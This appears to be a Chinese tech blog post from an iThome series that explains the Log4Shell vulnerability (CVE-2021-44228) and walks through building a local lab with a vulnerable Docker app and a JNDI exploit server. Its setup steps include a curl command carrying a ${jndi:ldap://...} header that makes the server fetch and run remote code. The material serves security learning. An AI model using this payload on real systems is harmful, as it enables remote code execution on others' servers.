iT邦幫忙

2022 iThome 鐵人賽

DAY 3
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 3

Day03 - 想像帶著 log4j,架了伺服器,紀錄日誌還唱著歌,突然就被駭客RCE了

  • 分享至 

  • xImage
  •  

大風起兮雲飛揚!安得猛士兮走四方!麻匪,任何時候都要剿,不剿不行,你們想想,你帶著老婆,出了城,吃著火鍋還唱著歌,突然就被麻匪劫了!- 讓子彈飛 (2010)

Yes

  • 第三天終於要開始進行第一個漏洞環境的建立,這次我們就針對2021年底被稱為「過去十年來最大、最關鍵的漏洞」的 Log4Shell 環境進行建立,那在每個漏洞建立之前,我都會先統整這個漏洞的相關資訊讓大家先初步認識這個漏洞。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2021-44228
    • CVSS 3.0 分數 : 10.0 CRITICAL
    • 漏洞類型 : RCE(Remote Code Execution)
    • 使用版本資訊
      • Ubuntu: Ubuntu 22.04.1 LTS
      • Java: openjdk-8-jdk (1.8.0_342)
      • Docker Java: 1.8.0_181
      • Apache Maven 3.8.6
      • SpringBoot
      • log4j
    • 漏洞先備知識 :
    • 漏洞收穫技能 :
      • JAR 檔案解析
      • Java 反組譯
      • Java 物件建構子概念
      • Wireshark 使用方式

紀錄 Log 是一般程式設計常見的動作,主要的目的有時候為了偵錯,或是為了呈現系統、服務資訊。以往開始學習寫程式的時候,多半會透過 printf(C語言)、System.out.println(Java)、print(Python)去進行資訊紀錄,但這樣陽春的紀錄方式在某些情況下未必能夠適用。

  1. 特定的服務(不具備terminal)無法透過這樣的方式呈現資訊
  2. 無法有彈性地將資料寫到持久的儲存裝置(ex:檔案系統、資料庫)
  3. 很難有一個統一的格式去記錄這些Log資訊
  • 本著設計程式不要重複製造輪子的概念,通常都會使用該程式語言提供的第三方函式庫來進行記錄Log,也因此Apache Log4j也因應而生。Log4j 本身可以透過設定檔案彈性的切換Log儲存的裝置位置、儲存格式等等,所以是一個Java很常被使用的第三方函式庫。這也就是為什麼當Log4j套件發生問題的時候,會影響到數以億計的系統與設備。

  • 但是想想如果只是單純紀錄Log資訊,就好像看到一段文字,然後就把文字抄到一本筆記本上面,那這樣怎麼會觸發所謂的RCE呢?邏輯上來說,肯定是看到了甚麼特殊的格式導致紀錄Log的程式發生了化學反應,進而去執行其他命令。也因此針對這個弱點,關注的點在於觸發弱點的payload是甚麼,以及後續執行的流程為何。這邊參考了國外部落格文章的流程圖。
    https://ithelp.ithome.com.tw/upload/images/20220918/20148308Xfhgx6hdsb.jpg
    參考來源 : Digging deeper into Log4Shell - 0Day RCE exploit found in Log4j

  • 從流程圖大概可以觀察出一開攻擊者送出具有jndi的樣式的字串,裡面待有ldap的位址字串,接著有弱點的伺服器就被觸發請求透過ldap協定連向惡意伺服器索取資料,之後該伺服器回傳Java物件定義位址後,該伺服器再次發出請求去下載惡意的物件資料,並觸發後續的RCE效果。

  • 大致了解漏洞流程後,就可以參考網路上現有的資料進行環境架設,這邊則是參考了github專案log4shell-vulnerable-app以及LDAP/HTTP伺服器JNDI-Injection-Exploit,本次建立的環境架構圖如下所示。

https://ithelp.ithome.com.tw/upload/images/20220918/20148308gQIJam7kvQ.png

建立環境的流程參考如下 :

  1. 安裝 openssh-server 以及下載 MobaXterm(非必要)
  2. 透過 MobaXterm 連到 Linux Server (非必要)
  3. sudo apt install openjdk-8-jdk -y
  4. git clone https://github.com/christophetd/log4shell-vulnerable-app.git
  5. cd 切換專案目錄
  6. docker build . -t vulnerable-app
  7. docker images
  8. docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
  9. git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
  10. 下載 maven 檔案解壓縮後將路徑加入 PATH 中
  11. cd 切換專案目錄
  12. mvn clean package -DskipTests
  13. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
  14. curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command_Code}'
  15. docker exec -it vulnerable-app sh #進到容器中執行sh指令
  16. ls /tmp #看一下/tmp資料夾下有沒有 pwned 檔案
  • 這樣子就完成了第一個Log4Shell的環境建置了,是不是還蠻簡單的呢? 那下一次的文章就要透過容器檔案觀察、網路封包的監控方式去了解整個弱點專案的配置以及弱點攻擊的流程。

參考資料

  1. log4shell-vulnerable-app
  2. JNDI-Injection-Exploit
  3. MobaXterm
  4. Apache Maven
  5. 重新認識 Apache Maven 建置與套件管理工具
  6. Docker EXPOSE (incoming ports)

上一篇
Day2 - 就決定是你了 - Ubuntu,來幫我打贏這30天的戰役吧~~!!!
下一篇
Day04 - 鯊鯊,你給我翻譯翻譯,甚麼是他X的Log4Shell (作業1)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言